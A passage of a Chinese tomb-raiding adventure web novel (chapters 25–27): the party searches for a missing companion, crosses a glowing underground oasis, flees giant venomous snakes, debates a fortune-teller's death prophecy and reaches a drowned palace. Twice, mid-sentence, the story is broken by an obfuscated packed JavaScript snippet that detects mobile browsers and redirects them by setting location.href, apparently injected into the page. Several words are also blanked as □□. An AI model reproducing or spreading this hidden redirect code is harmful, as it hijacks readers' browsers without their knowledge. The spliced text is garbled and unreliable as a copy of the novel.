原来那宋阿拽是要提醒自己这里不安全!原来他不是妖怪啊!怪不得他被自己偷袭之后会露出那种惊愕的表情,不过此时后悔已经来不及了,封鬼半个身子都被拖进了鼎口,他沿着血往下看,发现那只手的胳膊又粗又壮,分明是只人手啊! 也就在此同时,他看见一张脸出现在眼前! 那是一张血淋淋的脸,嘴咧成一个常人无法达到的程度诡异的笑着,露出满口森森白牙。 封鬼浑身的寒毛一下子都竖了起来,因为这张脸他认得,而且是一张太熟悉的脸了,那竟然是二胖的脸! 25. 【25】地下绿洲 一见到二胖竟然露着满口白牙对自己诡异的笑,封鬼顿时就傻了眼了,完全来不及做出任何反应,二胖就拖着他掉入了腥臭的血水之中!腥臭的血水不断的灌入他的喉咙之中,不论他怎么挣扎都起不来!心说这下子完了,好你个霍二胖,你死了还要拉着我垫背啊,等鬼爷我也变成鬼,非把你大卸八块不可!封鬼只觉得意识越来越模糊,越来越喘不过气,慢慢沉入了黑暗之中。 突然一只手把自己从水里拉了起来,封鬼一下子就醒了,睁开眼,发现二胖和鸦门正围着自己笑呢。 “哎!我说,你怎么就那么喜欢我呢,啊?睡着了也一直叫我的名字,你到底是梦到什么了?给我们讲讲呗。” 二胖在那一脸淫邪的笑着,封鬼眨了眨眼,脑子有点儿懵。二胖见他还在犯迷糊,一巴掌甩了上去力道不轻,封鬼顿时就清醒了。 原来他刚才是做了个噩梦!这他娘的才是现实世界! 封鬼也顾不上跟他们说话,连忙起身四处张望去找宋阿拽,发现根本没他的人,只有玄武和小白在那跟钱串子和陈老四不知道在商量着什么。 “宋阿拽呢?”封鬼心里一急,就随口问了出来。鸦门显然不知道这么个称号,自然是不明白他什么意思,二胖一愣,就知道了他说的是谁,嗤笑一声道: “哼,真没想到啊,你们这才认识多久,就成铁哥们了,啊?这醒来的第一句话就问人家在哪啊。” 封鬼没空跟他开玩笑,又问了一遍,这回鸦门应该是明白他说的是谁了,脸色一沉,抢在二胖前面开口说: “他失踪了,我们醒来的时候就不见了。玄武和小白正和四爷他们商量该怎么办呢。” 封鬼一听,心里又是咯噔一下。在梦里就没消停过,这醒了还是不得安生,这正是一波未平一波又起。 想到梦中诡异的一幕幕,宋阿拽在梦里变成了白毛僵,而现实中却离奇失踪了,这梦境与现实突然交织在一起,还真是让人恍惚不安啊。 “唉,小封,你那是什么表情?到底做什么噩梦了?” 二胖见封鬼的表情不太对,显然是吓得不轻。封鬼看向他,喝了口鸦门递过来的水,就将梦中的事说了一遍。二胖听完就大骂道: “我去!霍爷我他娘的是那种人吗?怎么会拖兄弟下水呢!我看你是神经太紧张了,放轻松点儿,这还没遇上什么怪物呢,别先把自己吓傻了。你说那宋阿拽变成了白毛僵?这事有点儿玄乎,不过我本来就觉得他那个人不正常,说不定还真是什么怪物变的,等找到他之后你也用你的邪牙给他一刀试试,要是人还罢了,要真是妖怪那肯定就怕你的刀和宝血啊!” 二胖自己在那说的起劲,封鬼也没心思听他说了什么,就朝陈老四他们走了过去,鸦门连忙跟上,二胖一见他们两人都无视自己,就也跑了过去。 “哎!我说,你们怎么不听人把话说完呢!” “……所以我说还是大家在一起,别又走散了,反正这里没别的地方,他只会沿着河朝洞穴深处走。我们也是要去那个方向,说不定他已经找到了地宫,正在前面等着我们呢。” 陈老四对玄武和小白解释,应该是劝阻他们二人单独去找宋阿拽。见封鬼来了,就打了个招呼。 “封老弟,你醒啦?” “宋老板失踪了?” “是啊,我们老板不知道去了哪里,我要去找陈四爷和钱老爷都不让啊。” 小白在那抱怨连连,封鬼皱眉不语。鸦门显然是很生气,盯着玄白二人指责道: “你们到底是怎么当手下的?竟然把自己老板弄丢了,要是宋老板有什么三长两短,你们可怎么交代啊?” “解小姐说的是,我们也深感自责,以后绝对会看紧我们老板,不会再让他跑了的。”玄武虚假的笑了笑,拉住小白示意他不要再说话惹事。 封鬼见他那表情心里就觉得不舒服。什么叫看紧不让他再跑?他是人又不是动物,也不是囚犯,难道还需要你们看着不成。突然封鬼就想起来宋阿拽说过的话啊。 他们想要的,根本不是我这个人,而是我身体里的东西。 这个他们,难不成指得就是玄武他们?难道说这四方神根本就不是和他一伙的?他们只是负责盯着他防止他逃跑的押解人员? 越想封鬼就觉得越有这个可能啊,仔细回想他们对宋阿拽的态度,算不上是谦卑,也完全没有那种下级对上级的毕恭毕敬与言听计从,相反他们好像都是听玄武的话多些,唯一表现出一次对宋阿拽的关心就是他发病的时候喂他吃了一颗药丸。 这么想来,好像他们之间的关系真的不是老板和伙计啊,更像是囚犯与公差,只要在他们看管的过程中,囚犯不死不逃他想怎么样都与自己没关系。而他们就打着老板与伙计的幌子,一路上掩人耳目啊。 说不定宋阿拽就趁着这次机会,逃离他们的控制,自己踏上寻找真相的路程,去弄清楚自己到底是谁了。 不过这都是封鬼自己的臆断,也没有真凭实据,也有很多说不通的地方,所以这只能是一种假设。 他就劝自己不要再瞎猜了,目前最重要的是找到宋阿拽,这里的情况诡异莫测,说不定前方有巨大的危险埋伏着,不能就放任他孤身犯险啊。 这时候就有人冲着他们叫喊,封鬼看见有几个人围在鼎边,好像是从里面打捞出来了什么东西,大家就全都凑了过去。 地上摆着好几副动物的骨骸,小到蝙蝠地鼠,也有大如猫犬之类说不出名的。显然跟钱串子之前推测的差不多,应该是生存在地下的动物不小心掉进鼎内腐烂之后与锈水产生反应才形成了这种腥臭的红色液体。 除了骨骸,他们还捞出一张蛇蜕。封鬼见这尺寸,至少有十几米,可以算得上是巨蟒了。看来这地下洞穴里有不少的生物啊,只是不知道躲在什么地方,以至于他们一路上都没有发现。 看来接下来的路是不好走啊,既然有蛇,那就必定是危险重重。也不知道前方到底有多少条蛇,是只这么一只还是有个蛇窝呢?这十几米算是它们最大的还是最小的呢? 好在他们也是有备而来,带了枪械弹药,这么想着心里就坦然了一些。 封鬼抬头看了眼水晶棺,就问这里面又是什么,是不是也打开看看。钱串子就说不用看了,之前已经叫人上去检查过,水晶棺很透明,不用打开也能看得清楚,里面除了一具人的骸骨什么都没有。 他们没有大型机械这水晶棺也拿不下来,一旦松开铁链势必会掉下来砸的粉碎,那就根本不值钱了。不如先把它搁在这,等出去之后若是有机会,再带设备来取。 不过这水晶棺没几个人对它感兴趣,就这点儿水晶,还不如去刚才的峭壁上凿来得多呢。于是众人不再有异议,决定继续往洞穴深处前行。 洞穴里面的空间很大,越往里走就越是空旷,四周用狼眼手电也已经照不到头了。地势是一直在下降,这说明他们依然是往地心走。 中途他们又歇了两次,估计走了差不多两三个小时,河流没有之前那么湍急了,地势显然是开始平缓起来。 又走了不到十分钟,前方突然出现一个巨大的山坡,河流就是从山坡中间穿过,这下子所有人都惊呆了,没想到地下还有这么一座大山,而更加令人惊奇的是,山坡上竟然长满了绿草和大树,还有一株一株高耸的巨型肉蘑菇!在这满眼都是光秃岩石的地下岩洞之中,就好像是沙漠里突然出现的一片绿洲一样! 我去!这到底是不是在做梦啊?!封鬼因为有之前的噩梦经历,觉得眼前的景象很不真实,简直就像是科幻电影里面的场景。 这怎么可能呢?现在海拔可是接近-1000米了,在这么深的地下,根本就没阳光,要说长蘑菇那还情有可原,毕竟人家是喜阴的菌类,可这草丛和大树又是怎么回事? “大家快把灯都关上。” 陈晓突然在队伍前面喊了一句,封鬼也不知道是怎么回事,见大家都一个个把灯给熄了,也就照做连忙关上灯。 等所有高亮的照明设施一个接一个的关闭之后,封鬼才发现,前方土坡的这一片区域特别的亮,好像笼罩在一片梦幻的光亮之中,就像是有什么射灯直接从上方投照在这片山坡上一样。 众人连忙抬头往上看,就见十几米高的岩壁顶上,有无数星光闪烁,发出紫黄色的光亮,好像是无数的萤火虫趴在上面,形成天边一片万紫霞光,是一眼望不到头啊,就像是为这坐山林提供着生命的阳光一样。 “哎呦妈呀!这是什么东西?!”二胖大叫一声,跟多动症一样抓耳挠腮,就像是在驱赶身上的什么东西,封鬼不知道他做什么,只见他从地上捡起一个发着那种迷幻光彩的东西,凑近一看,趴在他掌心里的是一只呈艳丽粉色的类似于去了壳的蜗牛的软体动物!发出又紫又黄的光亮,十分的好看,就像是个精致的小夜灯一样。 原来吸附在岩洞顶上的是这些会发光的虫子啊!众人好奇,都凑过来看,钱串子啧了啧嘴,说: “哎呀,这是鼻涕虫啊。” 鼻涕虫,学名蛞蝓,又叫蜒蚰,和钱串子的学名蚰蜒读起来只是前后调了个个。这种软体动物气味咸体性寒又无毒,拿盐一洒就脱水而死了,根本没什么危险。 二胖一听这东西无毒,就拿在手里来回的摸,玩儿的那叫一个过瘾。不过还没等他得瑟完,钱串子就接着说: “不过我从来没听说过鼻涕虫会发光的,虽然也见过粉色的,可颜色这么鲜艳还发着光实在是奇怪啊。不论是动物还是植物,一般色艳的它就有毒啊。” 钱串子话音刚落,二胖就一下子把那鼻涕虫扔出好几米,破口大骂道: “好你个钱老头儿!你他娘的耍霍爷我玩儿呢!怎么不早说这东西有毒啊?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391845|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱串子咯咯笑了两声,用十分刺耳的尖细嗓子回道: “老夫也不确定这东西有没有毒,反正我也没见过。看来这片山坡上的植物是靠着这发光的虫子而活。不过这种光是冷光,不是太阳那种热光,所以蘑菇一类的菌类才不会被晒脱水,才能长时间的存活,也才会长得这么巨大。” 众人又看了看,觉得钱串子说的不错。这些草木一定是靠着虫子发出的光亮进行光合作用,所以在这深入地下的岩洞里才会有小动物,而河里的食人鱼可能就是吃动物的死漂为生。 说不定这里俨然构成了自己独有的一套生态系统,甚至可能会有更多不被人知的稀有物种。 不过这山坡上又是哪里来的土壤呢?一路走来都是石头,根本没见哪里有泥土啊。 那个眼镜学者蹲下身捻起一掊土闻了闻,又看着缓缓流淌的河水,对众人说: “这片山很可能是爆发山洪的时候河流从地上带下的泥土经过上万年的堆积而成的,也可能是岩石风化或或被河流冲刷成泥沙形成,土壤很肥沃,动物的粪便和尸体都是养肥土壤的,由此看来林子里一定藏着很多的动物,大家一定要小心蟒蛇啊。” 这片山坡虽然没有十万大山的险峻和陡峭,却也是一眼望不到头,光是草丛就能没过人的膝盖,真是难以预料这其中暗藏多少杀机。 反正想要绕过这座山是没戏了,宋阿拽肯定也进入了山中。众人一商量,没有回头路,只得向着大山继续前进啊,于是就收拾行囊进入了这片诡异奇特的山林之中。 除了那种高大的蘑菇,在丛林里还有不少色彩艳丽的花蘑菇,有红的紫的,蓝的黄的,青一色都是会发光的,就像是一盏盏小灯泡成簇成簇的铺在地上,十分的漂亮。 二胖看着稀奇,就想摘几朵,说是要带回去卖给地质博物馆当标本。 封鬼就骂他,说你他娘的还真是掉进钱眼子里爬不出来了,脑子也被铜臭味给熏坏了。这蘑菇是长在地上的,你要是拔起来那还能发光吗?要是不亮那它就跟地上的蘑菇没有任何区别,你要是拿着这么几个破蘑菇送到博物馆去,人家不把你当神经病轰出来才怪。 “哎?这倒也是啊。”二胖就点头,倒是没生气。不过他还是伸手要去摘蘑菇,被钱串子用旱烟嘴敲得手一缩就大骂: “我去!你干什么呢?!” “我在救你的命!我不是说了嘛,凡是颜色漂亮的动植物就可能有毒,这蘑菇的颜色这么鲜艳,你就不怕中毒吗?” 钱串子这么一说,二胖才恍然大悟,脸色一变,恭敬的握住钱串子的手客客气气的说: “哎呦!多谢钱老爷子提醒,您瞧我这人就是手贱。下回要是再遇上这种事,随您怎么打,就是把我这双手剁下来也成啊!” “不会再有下次了,我绝不会救同一个人两次。这位小哥你就好自为之吧。” 钱串子冷笑一声,就走了。二胖见他一走远,就呸了一口,嘴里还骂骂咧咧的。封鬼见他这样就说他不厚道,怎么当着人前一面人后一面啊?这都哪里学来的臭毛病,大学的时候也没见他这么多花花肠子啊。 “哎呀,小封啊,你是身在高堂体会不到咱劳苦大众的心酸啊。你以为在社会上混那是什么容易的事儿?单位的领导见你不好就骂你,同事见你好了就排挤你,再有缺德的就直接给你向上头打小报告,领导给你个小鞋穿你说不干就直接把你炒鱿鱼了!这身处这么险恶的环境,你说兄弟我不练出个两面派还会周旋一下能行吗?” 二胖这话说的实在啊,也确实透着股无奈的心酸。封鬼心说也难怪,要不说他怎么就老想着自己做生意不愿意给人家打小工呢? 都说大树底下好乘凉,可在大单位里干也确实窝囊啊。像二胖这种人,也难为他憋屈了这么久,如今终于是解脱了,做兄弟的怎么说也得给他打打气啊。于是封鬼拍了拍他的肩膀,叹了口气说: “哎,不管怎么说,一切都是过去式了。这人啊,总得往前看,从今以后啊,咱们兄弟俩就好好干,非要在业界干出个名堂来!让那些个曾经打压你的小人都羡慕嫉妒恨去吧!” “哎呀,还是小封这话窝心啊。好!就冲你这话,霍爷我就是拼了命,也一定帮你把生意做大喽!” 两人正在畅想着美好的将来,聊得正起劲,突然前面的队伍就停下了,也不知道是怎么回事,就见解鸦门跑回来冲大家做出个噤声的手势,示意大家仔细听。 封鬼竖起耳朵,丛林之中有微弱的风声,还有虫鸣,偶尔夹杂着一声类似夜猫子的啼哭。 “我说,到底是怎么了?”二胖小声的问,鸦门狠狠瞪了他一眼,打了个手势示意他要是再敢说一句就把他给宰了。这时候封鬼就觉得有点儿不对劲了,好像除了风声之外,还有什么窸窸窣窣的声音从草丛里传了出来。这是某种东西在向他们靠近的声音啊,而且听动静个头还不小。 26. 【26】三凶星VS天煞孤星 “蛇!是蛇!” 突然有人大喊了一声,顿时所有人都朝那个方向看去,就见在队伍左前方的灌木丛中,爬着一条巨大无比的花斑大蟒蛇! 这条蛇通体墨绿,身上布满了暗褐色的菱形斑纹,浑身的鳞片在周围发光蘑菇的映照下流光溢彩,就像是钻石打磨成的工艺品一样。 蛇有一对墨黑色的眼睛,正张着如洗脸盆那么大的血盆大口对着众人吐着紫黑色的蛇信子,身子藏在草丛里也不知道究竟有多长,光看露出来的部分就比二胖的大腿还粗啊! 封鬼顿时吓出一身冷汗,他还从来没有见过这么大的青蛇!这他娘的根本就是只蛇精啊!难不成是小青下凡来找她的白娘娘来了?! 也许是大家都被这条蛇给吓傻了,没有一个人敢动,就见刚才大叫的那个人一屁股坐倒在地上,脸色惨白,封鬼一看,见他□□子湿了一大片,原来这小子是吓尿了啊。 “大家都别动!它看不见我们。” 钱串子突然喊了一句,封鬼就明白他的意思了。蛇啊,是靠热量和气味来感应猎物的,你越是动,热量越是上升,气味散发的也越快,蛇就定位的越准,你就是跑的再快能跑过这么大一条蛇吗? 不过眼前这么大一条蛇张着大嘴虎视眈眈的看着你,你又能冷静到哪里去呢?这要是有心脏病的,估计早就给吓破胆了。 之前那个尿裤子的八成是早就已经被吓傻了,他是离蛇最近的,这时候见大家都是站着不动没一个准备上去救他的,颤颤悠悠的爬起来就跑! 就见那条青鳞巨蟒猛的一转头,看向了他逃跑的地方,犹如闪电一般窜了上去,一下子就咬住那人的肩膀,将毒牙死死嵌进他的肉里,然后用巨大的身躯将他裹了起来。 那人凄厉的叫喊着,封鬼见所有人都趁着这个机会朝林子深处跑,就想冲上去救人,鸦门一下子拦住他,没好气的说: “你少逞英雄!还不赶紧跑!” 二胖也拉住他,就要跟鸦门一起架着他跑。封鬼心里憋得慌,心说不是蛇杀了他啊,是我们杀了他! 可眼下确实不是冲动的时候,理智最终战胜了他那点儿来得不是时候的英雄主义,这人显然是没救了,犯不着再搭上自己的一条命给他陪葬。于是心下一横,就跟着二胖和鸦门随大部队一起往前跑。 封鬼于心不忍又回头看了一眼,见那位兄弟脸色发青已经不动了,而大蛇正吐着信子向他炫耀自己的战利品呢。 封鬼心说兄弟对不住了,连你的名字都没来及知道就这么阴阳两隔了。你放心,等我们安全逃出生天,一定为你立块长生碑,替你念诵经文做七七四十九天大法超度,也不枉我们同行一场啊。 不过也就是这么回头一眼,封鬼就看清了这条青鳞巨蟒的真面目:蛇头呈三角状,尾部白色,浑身暗褐菱形斑纹,这不是什么青鳞巨蟒,而是烙铁头王蛇! 那是一种濒临灭绝的只在湖南才有的毒蛇!封鬼对这种蛇印象很深,他二叔有个朋友是黑市的蛇贩子,专门倒腾这种濒临灭绝的稀有蛇种,有一次就带了这么一条蛇给他们看。这种蛇现在在黑市上已经炒到百万一条了。 估计二胖要是知道了这蛇这么值钱,那有可能连命都不要的来抓这蛇啊。可是这南方的烙铁头怎么会出现在北方的地下呢?而且这蛇的size也太大了,根本就超出了正常毒蛇的范围之内啊。 这是怎么回事呢?这里又不是热带雨林,也没有那么多的食物。难道说这里不只有一条这么大的蛇,还有更大的在等着他们?! 如果真有成百条这种烙铁头在这片山林里,那他们这么几个人根本就不够它们分的啊! 不敢再想下去,封鬼跟在二胖后面气喘吁吁的跑着,也不知道跑了多久,直到他们来到一片蘑菇林前的空地上,才算是停了下来。 封鬼就将那条蛇的事说给陈老四他们听,钱串子啧了啧嘴,也是惊魂未定,就没说什么话。陈国祥倒是嘀咕了两声,封鬼倒是听得清楚,就听见他说: “这只是第一个,损三折五,这才只是刚开始啊。” 损三折五?封鬼心里一咯噔,这不是下井之前大辰子说的那四个字吗?于是就连忙问陈国祥这话到底是什么意思,叫他不要瞒着了,他与大辰子的话自己早就都听见了。 陈国祥愣了一下,显然是没想到封鬼会听到自己和大辰子的谈话,本来还想瞒着,见其他人也是好奇的看着自己,就叹了口气,坐在一块石头上对众人说: “哎,你们不知道啊,大辰子是三凶星童子命,算命那是最准的。下井前我就让他给我们这次行程算了下吉凶,他说是凶吉两平,而且会死人。我就问能死几个,他就说损三折五。意思是说我们这帮人会伤三个死五个啊。” “我去!真有这么神么?什么是三凶星童子命啊?”二胖连忙问,陈国祥还没来及回答,钱串子倒是抢先一步,咳嗽了两声用那难听的尖细嗓子说: “咳咳,嗯,所谓童子命,就是指这人的前世是天宫各路神仙身边的小仙童,因为犯了错被贬下凡投胎做人,多夭折薄命,一般很少能活到20多岁。而三凶星指的是紫微星斗中的杀破狼三星,即七煞、破军、贪狼。这三星那都是大凶大恶之星,在古代都是短命将军的命格,一生漂泊动荡,大起大落,唯一的破解之法就是修身养性,心如止水,最好就是能出家当和尚,清心寡欲与世无争啊。” 钱串子边说边在那感叹,二胖听的一愣一愣的,抹了把脖子上的汗就说: “杀破狼原来是这么回事啊,我还以为就是个莫名其妙的歌名呢。怪不得大辰子不喜不怒也不怎么说话,原来是为了修身养性啊。那这杀破狼岂不是个狠角色,没有能压制他的敌手啊。” 陈老四见钱串子跟他们陈家人抢风头,心里气不过,就连忙接过二胖的话茬。 “那哪能啊?女娲造天地万物必定相克相生啊,这除了杀破狼那还有天煞孤星呢,这两种命格在相术上被称为两大绝命,相互克制,水火不容。不过天煞孤星是更胜一筹,比杀破狼还要凶恶残暴,命里注定孤独一生,能克死身边所有亲近的人啊。杀破狼惧怕天煞孤星,见了都要退避三舍啊。” 陈老四卖弄完,封鬼突然就想到大辰子见了宋阿拽就躲的情形,看来大辰子很怕他,难道他就是天煞孤星?这很有可能啊,他一直就给人一种孤僻的感觉,好像根本就不属于这个世界,难以与人相处,难道说他就是怕会克死接近自己的人才故意与人疏远吗? 想到这里,封鬼就问陈老四: “四爷,您说这天煞孤星能看得出来吗?” “这个嘛,哎呀,这要根据生辰八字与五行来推算,所谓劫孤二煞怕同辰,这劫煞遇上孤辰,那就是天煞孤星啊。不过这种命格几百年都难得一遇,怎么着?难不成你身边就有这样的人? ” 封鬼忙笑着摇头,说只是好奇随口问问而已。不过既然是需要生辰八字才能算出来是不是天煞孤星,那肯定是没戏了,这宋阿拽才不会无聊到把自己的生日告诉别人呢,而且八成他自己都不知道自己是哪年哪月生的。 “那大辰子有没有算出来是哪些人死啊?”二胖又问,这个问题恐怕也是在场的所有人最关心的。就见其他人都战战兢兢的望着陈国祥,生怕从他嘴里蹦出自己的名字来。 陈国祥有些好笑的看着众人的表情,阴阳怪气的笑了笑说: “你以为这童子命就是神仙,他什么都能算出来?”众人一听这话那都是松了口气,然而陈国祥话锋一转,又继续说: “不过这损三折五已经是定数,逃也逃不掉。下井之前我之所以没有对你们说,就是怕乱了军心啊。如果你们现在有怕的,后悔还来得及,趁早原路返回到地上去。” 这话并不是危言耸听啊,在他们这二十一人当中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391846|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除去已经被蛇吞了的一个,必定还有四个人会死在这地下啊。危险自然是不用再多说,就是不知道那剩下的四个倒霉蛋会是谁了。 众人一下子就又陷入了恐慌之中,开始相互讨论去留问题。这只要是人他都怕死啊,在这种生死紧要关头的事情上,没有人会把它当儿戏,就算你现在真的退出也不会有谁笑话你或是瞧不起你。 封鬼心说这回要完,二胖那种唯利是图的人恐怕就要弃自己而去了。正想着,二胖果然朝自己走了过来,先是尴尬的挠了挠头,犹豫了一会儿不知道怎么开口。 封鬼这时候表现的十分释然,其实他也不想再让二胖跟自己冒险了。 也许一开始就不该带他来,人家可是他爹妈的独苗,虽说不是什么大富大贵的少爷命,可好歹那也是家中一块宝,从小到大也算活得顺顺当当没受过什么苦,这要真是跟着自己出了什么事,那自己还有什么脸面去见霍老爷子? 霍二胖清了清嗓子,一改往日的嬉皮笑脸,叹了口气十分认真的对他说: “哎,这一路走来啊,霍爷我确实长了不少见识,虽然又流血又流汗的,不过我觉得值了。这男子汉大丈夫,怕的就是当个窝囊废,与其苟且偷生的活着,不如轰轰烈烈的大干一场,死的也壮烈,那就不枉来这世上一遭。” 封鬼有点儿懵,心说这豪言壮语是什么意思呢?你要不就干脆点儿直接说你要走人,何必在这拐弯抹角呢。二胖顿了顿,显然是下定了决心,于是就接着说: “咱们兄弟一场,虽然还没到出生入死的地步,那好歹也算是拜了把子烧了黄纸的。霍爷我除了钱,最看重的就是一个义字。咱们大学四年一直都是最好的朋友,不论是谁犯了事儿都是相互照应的。说句良心话,霍爷我要是没有你帮着,估计也毕不了业。兄弟对你的大恩大德可一直都是记在心里头的。这回既然我选择跟你来了,就决心一定要跟你走到底。所以小封你什么都不用顾虑,霍爷我天不怕地不怕,就是阎王老子也奈……” 封鬼一下捂住二胖的嘴,决计不能再让他说下去了。这死小子,平时没个正形,没想到认真起来竟然也能说出这么煽情的场面话啊。封鬼抹了把脸,硬生生把差点儿要掉出来的眼泪咽了回去,一拳头锤上他的肱二头肌骂道: “你他娘的知道这是什么地方就给我乱放屁?这可是地底下,阎王老子的管辖范围,你要是再敢说出什么亵渎神灵的屁话来,不用阎王动手,鬼爷我就先一刀斩了你!” 二胖傻乎乎的咧嘴笑了笑,就没再说什么。鸦门在旁听见他们两人的对话是又感动又好笑,凑过来揶揄道: “我说你们两位好兄弟情话说完了没有?要是闲着没事就想想办法怎么对付那种大青蛇,如果再遇上,恐怕我们就没有这么幸运能逃脱了。” 鸦门说的没错,这种烙铁头实在是毒得厉害,普通尺寸的已经了不得了,这么大的体格一旦被咬那就是瞬间毙命啊。于是也不再跟二胖插科打诨,开始认真讨论对策。 几人正商量着,队伍那边儿就针对去留问题出了结果,最后由陈老四统计出一共是鸦门手下的6个人选择原路返回。 封鬼对这个结果有点儿出乎意外,没想到才6个人,他还以为除了钱串子,鸦门带来的那群人全都会选择停止生死冒险呢。 鸦门就给这6人的队伍分配了物资,并嘱咐他们上去之后在寺庙里守着作为接应,又留了手机保持联系。虽然这地下是一点儿信号都没有,可鸦门就说万一出了状况没法原路返回而是从别的出口出去,这通话设施就能派上用场了。 钱串子就笑话她说解小姐你这想法也太天真了,你以为这是什么普通的古墓啊,它能用常理来估量吗?这么深的地下墓,怎么可能会有造墓工匠再修一条逃生洞呢?就算真有其他的出口,那也是地下天然裂隙形成的,指不准在什么地方呢,哪里能这么轻易的就被你给碰上了。 27. 【27】失踪人口回归 解鸦门听了钱串子的话心里那叫一个不舒服,可是作为晚辈又不好说什么,只能面儿上尴尬的笑了笑作为回应,心说你这老头子的脾气实在是刁钻古怪,管的也太宽了,怎么控制欲就这么强呢?这不过就是一种假设而已,自己只是把能想到的一种可能性说出来罢了。 再说这分成一进一退的队伍,两波人相互嘱咐了一番,那6人帮就背起行囊消失在了黑暗之中。于是队伍就只剩下他们14个人,其中还包括一个不知去向的宋阿拽。 一行人在空地上休息了片刻,大家就决定继续前进,并把枪支从背包里都取了出来。鸦门叫人带来的冲锋枪一共有两种,分别是卡利科M950和芝加哥打字机。另外还有六把手枪,其中三把是国产77式,两把□□92F也就是美军制式M9,剩下的那把造型有点儿科幻,体积又大显得十分惹眼拉风,二胖一看就大叫了起来: “我去!这是□□啊!你是从哪儿弄来的?!” 二胖拿着这把枪来回的看,显然是对这枪爱不释手,鸦门耸了耸肩说: “这是我大伯弄来的,我嫌它不好使本来不想带的,大伯非要我拿着它充面子。” “用这玩意打僵尸,那也太过瘾了!” 二胖根本没在意鸦门说了什么,在那儿握着枪来回摆了好几个造型,都是从谍战片里学来的桥段。鸦门见他跟个拿玩具枪的小男孩一样,努力忍住笑说: “这手枪的个头太大了,反正我是用不顺手,你拿着倒是合适,不过也就是摆摆样子而已。” 鸦门这话说的没错,□□这种以色列军事工厂制造的手枪之王外形虽然彪悍,并且有且仅有用“碉堡”二字来形容。 可是这种枪实在是太大太重了,发射力量又难以控制,而且弹容量只有7发实在少得可怜,虽然威慑力大却没有什么实战价值,所以总是被枪械爱好者用来收藏,或者是出现在好莱坞电影中给明星摆架子。 不过二胖是根本不管这些,非要带上□□过一把真人CS瘾,鸦门就让他又背了支汤普森冲锋枪也就是芝加哥打字机做装备,这才算是稍微放宽了心。 封鬼明确表态自己是决计不碰枪,尤其是芝加哥打字机,这种冲锋枪跟□□那可是最臭名昭彰的□□专用枪,名声实在是烂透了。 再说他们又不是□□,若是真遇上妖魔鬼怪用这种东西火拼那也完全没有用啊。二胖嫌弃的剜了他一眼,说你他娘的就是个娘们儿,连枪都不敢摸。 还是紧紧跟在霍爷后面,让兄弟用这把□□罩着你。 见二胖那一脸得瑟的表情,封鬼想抽他的心都有了。你还真以为自己有一身肌肉再拿把□□就是终结者施瓦辛格啊,等遇到妖怪,说不定第一个丢下枪逃跑的就是你。 分配完枪支弹药,队伍刚要继续前进,就在这时候,突然听见从四面八方传来草叶摩挲的声音。这声音实在闹心,就像是有无数的毛刷子在耳边来回挠一样,瘆得人鸡皮疙瘩都出来了。 封鬼一下子头皮就炸了起来,心说这真是怕啥来啥啊,刚商量怎么对付烙铁头呢,之前那条青蛇就领着大部队来围剿他们了。 周围的草丛灌木在剧烈的晃动中发出哗哗啦啦的声音,众人根本不用细看,就见成群的烙铁头从蘑菇林里涌了过来,跟潮水一样,有成百上千只,而且每一只都长达十几米,刚才看到的那条实在属于中等个头。 所有人都惊恐的握紧手中的冲锋枪,背靠背围了一圈成防御状态。眼见着那群蛇就要扑上来,二胖已经开始扣动扳机,突然所有的蛇都静止不动了,停在离他们有五六米的地方,整整围了一圈,形成一个古怪的蛇阵,个个都吐着芯子瞪着他们,也不知道突然之间到底是发生了什么事。这莫名其妙的人蛇对峙,让大家一下都陷入了更大的恐慌之中。 “往这边跑!” 钱串子咬着牙叫了一声,大伙就看见在西南角有一个缺口,没有一条蛇把守着,顿时所有人都朝那个蛇阵的缺口跑去。 他们刚跑出来那群蛇就又蜂拥而至,有人连开了好几枪,那蛇的鳞片犹如铁甲一样又厚又硬,根本就打不穿。 “我去!这蛇是穿了盔甲还是练了一身铜皮铁骨啊!真是刀枪不入啊!”二胖举着□□没打上两枪就累得抬不起手来,脚下一滑打了个趔趄差点儿摔倒,亏了封鬼一把扶住拉着他就跑啊,要不然后头的蛇可就咬上他的屁股了。 一路上蛇紧紧跟着他们,逼得他们不得不跑向了更高的山坡。就在这时,众人眼前出现了一个绿植茂盛的盆地,中央有一片巨大的湖泊,泛着幽幽蓝光,像是一块巨大的蓝色宝石镶嵌在墨绿的天鹅绒上。 再仔细看,就发现湖面的正中央露出面积相当大的建筑物的房顶,被水草与泥沙覆盖,墙砖斑驳腐朽的十分严重。众人惊愕的看着眼前的景色,一时之间百感交集,都不知道该说什么才好。 “这……就是天丑龙王宫吧……” 陈国祥终于忍不住感叹,所有人都十分紧张的看向了他。钱串子目光如炬的瞪着湖中的建筑物,就像是发现猎物的恶狼一样,眼中尽是狡诈、贪婪的欲望。 “不错!这就是天丑龙王宫!老夫终于明白了,为什么非要在五星连珠之时才能打开地宫,原来只有这个时候水平面才会下降,而湖中的宫殿也才会显露出来。” 钱串子自顾自的说着,众人恍然大悟。原来如此啊,这天丑龙肆地宫的真面目终于就要揭开了,所有人都难以抑制的兴奋起来。 “我去!这龙王宫果然是在水底啊!这他娘的到底有多大?简直就是个太和殿啊!” 二胖这话说的一点儿没错,目前建筑物显露出来的部分已经十分宏大了,而且外形跟太和殿相似,不过层级却高得多,有战国的高台建筑特征。这要是全部都显现出来,那得是何其壮观的景象啊,估计故宫的太和殿跟人家比还差上好几圈呢。 